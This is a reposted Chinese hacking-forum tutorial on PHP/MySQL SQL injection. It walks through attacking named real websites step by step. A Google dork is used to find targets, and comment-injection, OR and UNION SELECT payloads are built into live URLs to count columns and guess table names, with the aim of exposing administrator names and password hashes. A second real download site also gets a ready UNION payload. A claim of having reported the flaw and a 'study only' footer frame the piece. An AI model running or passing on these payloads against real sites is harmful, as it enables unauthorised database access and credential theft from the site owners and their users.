欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

PHP+MySQL injection攻击:浅谈网页安全

来源:转载 作者:佚名 时间:2010-05-24 TAG: 我要投稿
作者:Julie_nana
来自:Shudoo{S.G.}(转载请注明)

php以其跨平台的优越性著称。很多网站采用php编写。因为没有像asp那么多的入侵工具,很多人对php的后台并不重视。很多人编写网站时,对于页面变量的过滤仅仅限于asp上面的过滤,但他们大多都不安全。
这次我们以中国公路学会为例子,给大家演示(不要动歪脑筋,我已经通知了漏洞!)

到谷歌搜“inurl:.php?articalid=”得到第一个条目:中国公路学会http://www.chts.cn/info.php?articleid=545
我们就拿它来测试安全性。

首先我们看一段php语句(php的一般语句,并不是实际例子中的语句):
  1. SELECT * /* Select all(选择全部) */
  2. FROM products /* products */
  3. WHERE category='bikes' AND '1'='2' /* false condition */
  4. UNION SELECT * /* append all new_products*/
  5. FROM new_products /* to the previous result set */
复制代码
什么意思呢??我想给大家看的是“/*XXXX*/”,没错,会编程的,都知道这是代码注释!换句话说,在代码编译的过程中,这部分会被忽略。充其量他就是个回车或者空格

怎么测试安全性呢?
在原来的地址上http://www.chts.cn/info.php?articleid=545
后面加上注释:
http://www.chts.cn/info.php?articleid=545/*ABCD234*/
再次访问,发现和原来的页面一样没变化。正常显示就表示这次是成功的注射。怎么说呢?
看这里:http://bbs.shudoo.com/viewthread.php?tid=1790611&extra=page%3D1
这个是GET方式提交吧?好吧好吧,注射就是注入,我们用GET的方式把恶意的语句插入到了原来的代码里就叫注入
我们加了/*ABCD234*/,原来的php代码就成了(没看get和post的就不会理解的)

'select * from chts_article where articleid=545/*ABCD234*/  然后原本后面的语句仍然继续执行

这是注释插入,我们看到了插入了注释,充其量就是个空格或者回车。
我们继续访问http://www.chts.cn/info.php?articleid=545标题是《关于举办2005年全国公路治超与计重收费技术研讨会的通知》
变一下变量访问http://www.chts.cn/info.php?articleid=54标题是《关于举办2005年全国公路治超与计重收费技术研讨会的通知》
我们看到了两个不同标题的文档。编号545和编号54的文档。
我们下面用and和or来测试:
继续使用GET
http://www.chts.cn/info.php?articleid=545/*ABC*/or articalid=54
原本articleid=545的页面就成了54号文档《关于举办2005年全国公路治超与计重收费技术研讨会的通知》了
这是怎么回事呢,就是一个逻辑门,学过编程的都应该知道这个。
再看原来的php语句就成了'SELECT * FROM chts_article WHERE articleid = 545/*ABCD234*/or articleid = 54
不懂编程的话,and和or你也就不用知道了

既然已经确定过滤不严漏洞存在了,就要猜表段数
其实这个比较机械,而且非常机械,网上的工具很多
这里我猜的表段是第17
http://www.chts.cn/info.php?articleid=545/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
这个当做是排座位好了,不需要理解太深(其实我也不怎么理解,我怕我说了不对被人笑哈)
好了,下面开始猜表段名我们假设是admin
那么语句就该是:
http://www.chts.cn/info.php?articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juliet_NaNa*/admin/*
显然显示错误
SQL 无效: select * from chts_article where articleid=545/*dfgdfgfd*/and/*Juliet_NaNa*/1=2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juliet_NaNa*/admin/* and visible=1

没关系,我们看到它爆出什么来了?是php源
select * from chts_article where articleid=545

文章的表段是chts_article 字段是articleid,编号是545
那么我们拿它来试验
http://www.chts.cn/info.php?articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juliet_NaNa*/chts_article/*
显示正常,那么我们继续来看字段:
http://www.chts.cn/info.php?articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juliet_NaNa*/chts_article/**/where/**/articleid=545/*
还是正常,悲剧!:32;
居然都是一样的页面,哪里不对呢?哈哈,and 1=2改成and 1=1再试试
跟http://www.chts.cn/info.php?articleid=545一样的页面,为什么呢?:44;
因为我们是拿数据库储存文章的表段和字段试验的,如果拿管理员的字段和表段,那么原来显示文章的地方就可能会显示管理员的名称和密码的MD5值
管理员表段字段是什么呢?
我不知道:32; 你以为黑客都那么厉害?都很辛苦的!字段表段要靠猜的,出不出的来要看人品

再看一个power by skycn的例子:
http://soft.ny.shangdu.com/down.php?id=47488/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/**/from/**/downfile
中国的php除了dz和ph,基本没有不存在漏洞的了
一会去看卡巴
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载